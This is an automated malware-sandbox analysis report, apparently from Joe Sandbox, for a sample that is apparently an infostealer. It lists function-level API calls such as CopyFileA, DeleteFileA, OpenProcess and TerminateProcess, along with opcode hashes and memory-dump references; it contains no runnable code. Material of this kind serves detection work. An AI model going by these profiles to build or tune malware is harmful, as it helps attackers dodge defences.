String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: ec5f217689fd94bd26b5acb3c92d27e07b7f06346afbc9916d3bc098d89f93c8
Instruction ID: ee099f62c653a17ca30f51b1ae48bb0ff149601d0201599f6971af9105deeafe
Opcode Fuzzy Hash: ec5f217689fd94bd26b5acb3c92d27e07b7f06346afbc9916d3bc098d89f93c8
Instruction Fuzzy Hash: 8D115E31604654DFEB009F26C848B69FBB8FB89329F41051DEA8557FA0D774A809CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 00415450 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000000FA,?,?,00415C1E,00000000), ref: 0041545B
HeapAlloc.KERNEL32(00000000,?,?,00415C1E,00000000), ref: 00415462
wsprintfW.USER32 ref: 00415478

Strings

%hs, xrefs: 0041546F

Memory Dump Source

Source File: 00000001.00000002.2601724331.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2601724331.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zVp8cG4riO.jbxd

Yara matches

Similarity

API ID: Heap$AllocProcesswsprintf
String ID: %hs
API String ID: 659108358-2783943728
Opcode ID: 9d0e4c61c44ae66937b299eb0154705507e44eb3acdcd074a2a0d5819eeee3b8
Instruction ID: 2a04a3b42468460cff415e79ad4cc7303691da2b1e165ac812b33aed5ccf4e4e
Opcode Fuzzy Hash: 9d0e4c61c44ae66937b299eb0154705507e44eb3acdcd074a2a0d5819eeee3b8
Instruction Fuzzy Hash: A5E0ECB5A40608BFDB20DFD4ED0AEAD77A9EB48701F100194F90AD7640DA719E109B95

Uniqueness

Uniqueness Score: -1.00%

Function 6CD30C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CD30CD5

Part of subcall function 6CD1F960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CD1F9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CD30D40
free.MOZGLUE ref: 6CD30DCB

Part of subcall function 6CD05E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CD05EDB
Part of subcall function 6CD05E90: memset.VCRUNTIME140(6CD47765,000000E5,55CCCCCC), ref: 6CD05F27
Part of subcall function 6CD05E90: LeaveCriticalSection.KERNEL32(?), ref: 6CD05FB2

free.MOZGLUE ref: 6CD30DDD
free.MOZGLUE ref: 6CD30DF2

Memory Dump Source

Source File: 00000001.00000002.2626456215.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000001.00000002.2626395690.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626538007.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626586930.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626624316.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cce0000_zVp8cG4riO.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: 06fcaa1f119165897202669f34a7804aca5bd5ef5a7106ac5b517b8997062123
Instruction ID: 7ff8724bc413ec6b03410df125d4dfc46e7ffcff88d78455831cad1d1fda9645
Opcode Fuzzy Hash: 06fcaa1f119165897202669f34a7804aca5bd5ef5a7106ac5b517b8997062123
Instruction Fuzzy Hash: 0C413A71908794CBD720CF29C04079AFBE5BFC9754F519A2EE8D887B60D770A444CB92

Uniqueness

Uniqueness Score: -1.00%

Function 6CD3CCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6CD2DA31,00100000,?,?,00000000,?), ref: 6CD3CDA4

Part of subcall function 6CCFCA10: malloc.MOZGLUE(?), ref: 6CCFCA26

Part of subcall function 6CD3D130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6CD3CDBA,00100000,?,00000000,?,6CD2DA31,00100000,?,?,00000000,?), ref: 6CD3D158
Part of subcall function 6CD3D130: InitializeConditionVariable.KERNEL32(00000098,?,6CD3CDBA,00100000,?,00000000,?,6CD2DA31,00100000,?,?,00000000,?), ref: 6CD3D177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6CD2DA31,00100000,?,?,00000000,?), ref: 6CD3CDC4

Part of subcall function 6CD37480: ReleaseSRWLockExclusive.KERNEL32(?,6CD415FC,?,?,?,?,6CD415FC,?), ref: 6CD374EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6CD2DA31,00100000,?,?,00000000,?), ref: 6CD3CECC

Part of subcall function 6CCFCA10: mozalloc_abort.MOZGLUE(?), ref: 6CCFCAA2

Part of subcall function 6CD2CB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6CD3CEEA,?,?,?,?,00000000,?,6CD2DA31,00100000,?,?,00000000), ref: 6CD2CB57
Part of subcall function 6CD2CB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6CD2CBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6CD3CEEA,?,?), ref: 6CD2CBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6CD2DA31,00100000,?,?,00000000,?), ref: 6CD3D058

Memory Dump Source

Source File: 00000001.00000002.2626456215.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000001.00000002.2626395690.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626538007.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626586930.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626624316.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cce0000_zVp8cG4riO.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: 81e84899e3bec87a012ff14f6e13a7a27a94cc1c67e4f970d36be2f85d97bc39
Instruction ID: 7ca0aeffd1a9b0469d4babc3ddcc76ed74fa2c51caeb3582ec90353eed0bc8f7
Opcode Fuzzy Hash: 81e84899e3bec87a012ff14f6e13a7a27a94cc1c67e4f970d36be2f85d97bc39
Instruction Fuzzy Hash: 05D17F71A04B169FD708CF28C480799F7E1BF89308F01976DD9598B721EB31E9A5CB91

Uniqueness

Uniqueness Score: -1.00%

Function 0040CB50 Relevance: 6.3, APIs: 4, Instructions: 252filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

Part of subcall function 00415260: GetSystemTime.KERNEL32(?,02F88120,0041D129,?,?,?,?,?,?,?,?,?,00404623,?,00000014), ref: 00415286

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040CBD1
lstrlen.KERNEL32(00000000), ref: 0040CDE8
lstrlen.KERNEL32(00000000), ref: 0040CDFC
DeleteFileA.KERNEL32(00000000), ref: 0040CE75

Memory Dump Source

Source File: 00000001.00000002.2601724331.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2601724331.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zVp8cG4riO.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: a8cc31ae3ff7273ca83e93f1973d6a6fff9380b8535cc6ddf4d8b995dd97412d
Instruction ID: 6e212494759c8e3b152de70cf12e9653d7fde48daaab02ad2b76da051d612c4f
Opcode Fuzzy Hash: a8cc31ae3ff7273ca83e93f1973d6a6fff9380b8535cc6ddf4d8b995dd97412d
Instruction Fuzzy Hash: 1B914A729102049BCB14FBA1DC51EEE7739BF14304F51425EF51676491EF38AA89CBB8

Uniqueness

Uniqueness Score: -1.00%

Function 6CD05C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6CD05D40
EnterCriticalSection.KERNEL32(6CD6F688), ref: 6CD05D67
__aulldiv.LIBCMT ref: 6CD05DB4
LeaveCriticalSection.KERNEL32(6CD6F688), ref: 6CD05DED

Memory Dump Source

Source File: 00000001.00000002.2626456215.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000001.00000002.2626395690.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626538007.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626586930.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626624316.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cce0000_zVp8cG4riO.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: 24009812be51c4cd304e92fab33592f33d6ad9c81da4de2b6b55689ba933a1b6
Instruction ID: 67c9c81382250c7a3f82077fa5aa82369f3b3a88ea44db6ddee22fe428e2ae25
Opcode Fuzzy Hash: 24009812be51c4cd304e92fab33592f33d6ad9c81da4de2b6b55689ba933a1b6
Instruction Fuzzy Hash: A6516B71E001198FDF08CFADC844BBEBBB6FB89304F19461AD951A7760D7306945CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6CCECDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6CCECEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6CCECEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6CCECF4E

Strings

0, xrefs: 6CCECF30

Memory Dump Source

Source File: 00000001.00000002.2626456215.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000001.00000002.2626395690.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626538007.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626586930.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626624316.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cce0000_zVp8cG4riO.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: daef5a837dc6ae052eac43a297d9f3ebc0173a487b983026cbddc5fa8e88c2ab
Instruction ID: 6155bb52b031bfd708201afd7cd5e95599dc6c8a2f4418a910f545ec1513e598
Opcode Fuzzy Hash: daef5a837dc6ae052eac43a297d9f3ebc0173a487b983026cbddc5fa8e88c2ab
Instruction Fuzzy Hash: CC5104759002568FCB04CF19C490AAABBB5FF9A300F19859DD8595F751E731ED06CBE0

Uniqueness

Uniqueness Score: -1.00%

Function 00411350 Relevance: 6.1, APIs: 4, Instructions: 100stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 00411378

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

strtok_s.MSVCRT ref: 0041146F

Part of subcall function 00416E20: lstrlen.KERNEL32(00000000,?,?,00412BE0,0041D59B,0041D59A,?,?,004137D6,00000000,?,02F66AB8,?,0041D8AC,?,00000000), ref: 00416E2B
Part of subcall function 00416E20: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416E85

Memory Dump Source

Source File: 00000001.00000002.2601724331.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2601724331.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zVp8cG4riO.jbxd

Yara matches

Similarity

API ID: lstrcpystrtok_s$lstrlen
String ID:
API String ID: 3184129880-0
Opcode ID: b32dbd48fef6c991f24393565f536ea1b201fd5407d7c8f9d1c6b670b0949385
Instruction ID: bc44fb65e395c18893d79e2daadfc8d7f4384440e0cba23ba4018ddaa6f79c9f
Opcode Fuzzy Hash: b32dbd48fef6c991f24393565f536ea1b201fd5407d7c8f9d1c6b670b0949385
Instruction Fuzzy Hash: 04417175D00208DBCB04EFE5D855AEEBB75BF48304F00811EE51177290EB38AA85CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 6CD26470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6CD282BC,?,?), ref: 6CD2649B

Part of subcall function 6CCFCA10: malloc.MOZGLUE(?), ref: 6CCFCA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CD264A9

Part of subcall function 6CD1FA80: GetCurrentThreadId.KERNEL32 ref: 6CD1FA8D
Part of subcall function 6CD1FA80: AcquireSRWLockExclusive.KERNEL32(6CD6F448), ref: 6CD1FA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CD2653F
free.MOZGLUE(?), ref: 6CD2655A

Memory Dump Source

Source File: 00000001.00000002.2626456215.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000001.00000002.2626395690.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626538007.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626586930.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626624316.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cce0000_zVp8cG4riO.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: dd11bb6fd9bf4423a0a9d907bfb8f5f71fa9f55236395c11e3d9dfb8f9294397
Instruction ID: d50373835378bba29e7f511f026ddf3d682efc7816e859239e615a47b20d309f
Opcode Fuzzy Hash: dd11bb6fd9bf4423a0a9d907bfb8f5f71fa9f55236395c11e3d9dfb8f9294397
Instruction Fuzzy Hash: 203172B5A043159FD700CF14D88469EB7E4FF89318F40442DE99A97751EB34E919CB92

Uniqueness

Uniqueness Score: -1.00%

Function 00415BD0 Relevance: 6.1, APIs: 4, Instructions: 89COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00415BEB

Part of subcall function 00415450: GetProcessHeap.KERNEL32(00000000,000000FA,?,?,00415C1E,00000000), ref: 0041545B
Part of subcall function 00415450: HeapAlloc.KERNEL32(00000000,?,?,00415C1E,00000000), ref: 00415462
Part of subcall function 00415450: wsprintfW.USER32 ref: 00415478

OpenProcess.KERNEL32(00001001,00000000,?), ref: 00415CAB
TerminateProcess.KERNEL32(00000000,00000000), ref: 00415CC9
CloseHandle.KERNEL32(00000000), ref: 00415CD6

Memory Dump Source

Source File: 00000001.00000002.2601724331.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2601724331.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zVp8cG4riO.jbxd

Yara matches

Similarity

API ID: Process$Heap$AllocCloseHandleOpenTerminatememsetwsprintf
String ID:
API String ID: 396451647-0
Opcode ID: fdfea1e36e01ba5dc6c08a707d84f87bfe87981db8c2dab46dee4399722e953d
Instruction ID: 9bd26bda15b00488fb04890a05ea267a73874a1d1a12279ce6d54c29d70e7cb6
Opcode Fuzzy Hash: fdfea1e36e01ba5dc6c08a707d84f87bfe87981db8c2dab46dee4399722e953d
Instruction Fuzzy Hash: B7311E71A00708DFDB24DFD0CD49BEDB775BB88304F204459E506AA284EB78AA85CF95

Uniqueness

Uniqueness Score: -1.00%

Function 6CCFB4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CCFB4F5
AcquireSRWLockExclusive.KERNEL32(6CD6F4B8), ref: 6CCFB502
ReleaseSRWLockExclusive.KERNEL32(6CD6F4B8), ref: 6CCFB542
free.MOZGLUE(?), ref: 6CCFB578

Memory Dump Source

Source File: 00000001.00000002.2626456215.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000001.00000002.2626395690.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626538007.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626586930.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626624316.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cce0000_zVp8cG4riO.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 73c5a3be2e9a802427572bc8586de05d73363eddd90d5db64af37910710fe973
Instruction ID: a40880e7f2a1b663d15027883532faaf9af797b65a428f9542d5c60838c87254
Opcode Fuzzy Hash: 73c5a3be2e9a802427572bc8586de05d73363eddd90d5db64af37910710fe973
Instruction Fuzzy Hash: BF11AC30A04B45C7E3128F2AC814761B3B9FF96318F14970AE95952E12FBB4B1CAC6A0

Uniqueness

Uniqueness Score: -1.00%

Function 6CD23DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6CCEF20E,?), ref: 6CD23DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6CCEF20E,00000000,?), ref: 6CD23DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CD23E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6CD23E0E

Part of subcall function 6CD1CC00: GetCurrentProcess.KERNEL32(?,?,6CCE31A7), ref: 6CD1CC0D
Part of subcall function 6CD1CC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6CCE31A7), ref: 6CD1CC16

Memory Dump Source

Source File: 00000001.00000002.2626456215.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000001.00000002.2626395690.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626538007.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626586930.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626624316.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cce0000_zVp8cG4riO.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: a3218f484144fe16a0144e2cd6ee863b049903c526dff50fbc763a35ac86ce9c
Instruction ID: 932232deac3eb9012a4c875950e8e8dd8a3cd6ddf7b4b79c369715aad410139d
Opcode Fuzzy Hash: a3218f484144fe16a0144e2cd6ee863b049903c526dff50fbc763a35ac86ce9c
Instruction Fuzzy Hash: E9F012B16002087BEB00AB55DC41DBB376DEB86628F044020FE0857751D735BD2996F7

Uniqueness

Uniqueness Score: -1.00%

Function 00414ED0 Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 47memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00414F1C
HeapAlloc.KERNEL32(00000000), ref: 00414F23
wsprintfA.USER32 ref: 00414F3D

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Strings

%dx%d, xrefs: 00414F34

Memory Dump Source

Source File: 00000001.00000002.2601724331.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2601724331.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zVp8cG4riO.jbxd

Yara matches

Similarity

API ID: Heap$AllocProcesslstrcpywsprintf
String ID: %dx%d
API String ID: 2716131235-2206825331
Opcode ID: f08cde69876725b708423540da4c5a3f365b361f564d4ee0880696cb78a15392
Instruction ID: 6eb13fdbeba78ce7d97bae5a893604665d2c333b41188d65ffcc19bab192dd48
Opcode Fuzzy Hash: f08cde69876725b708423540da4c5a3f365b361f564d4ee0880696cb78a15392
Instruction Fuzzy Hash: 5C112DB1A40708AFDB10DFE4DD49FBE77B9FB48701F104548FA09AB280CA719901CB95

Uniqueness

Uniqueness Score: -1.00%

Function 00416F20 Relevance: 6.0, APIs: 2, Strings: 2, Instructions: 47stringCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,?), ref: 00416F72
lstrcat.KERNEL32(00000000), ref: 00416F82

Strings

6F@, xrefs: 00416F29
6F@, xrefs: 00416F37

Memory Dump Source

Source File: 00000001.00000002.2601724331.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2601724331.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zVp8cG4riO.jbxd

Yara matches

Similarity

API ID: lstrcatlstrcpy
String ID: 6F@$6F@
API String ID: 3905823039-140834422
Opcode ID: 0fd21debb5ed307de285645c5bfc8b86321b2cbbfd8b437667256a76d532ad3c
Instruction ID: 671097608d67a6365fb22a17cf1e01146cf6df4f1a405ab7b22d056337cae9f2
Opcode Fuzzy Hash: 0fd21debb5ed307de285645c5bfc8b86321b2cbbfd8b437667256a76d532ad3c
Instruction Fuzzy Hash: F411D674A00208ABCB04DF94E884AEEB375BF44304F518599E829AB391C734AA85CB94

Uniqueness

Uniqueness Score: -1.00%

Function 6CD385B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6CD385D3

Part of subcall function 6CCFCA10: malloc.MOZGLUE(?), ref: 6CCFCA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6CD38725

Strings

map/set<T> too long, xrefs: 6CD38720

Memory Dump Source

Source File: 00000001.00000002.2626456215.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000001.00000002.2626395690.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626538007.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626586930.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626624316.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cce0000_zVp8cG4riO.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: 8685ce2b92b1692c1938c6155635d0588d186a7217a2b56f62b7ae0085d27560
Instruction ID: 5bdd3c33ff1577ffdae55fbe0c14a43ee257cc00c58018cb2122567558ab4299
Opcode Fuzzy Hash: 8685ce2b92b1692c1938c6155635d0588d186a7217a2b56f62b7ae0085d27560
Instruction Fuzzy Hash: 8D5155B4A00661CFD701CF18C984A56BBF1BF4A318F19C19AD85D9BB62C375E885CF92

Uniqueness

Uniqueness Score: -1.00%

Function 6CCEBD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6CCEBDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6CCEBE8F

Strings

0, xrefs: 6CCEBE5B

Memory Dump Source

Source File: 00000001.00000002.2626456215.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000001.00000002.2626395690.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626538007.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626586930.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626624316.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cce0000_zVp8cG4riO.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: b11ca2131287d7992bce66d53d486b00e039d42f499e1fb6ff3458bfa746b371
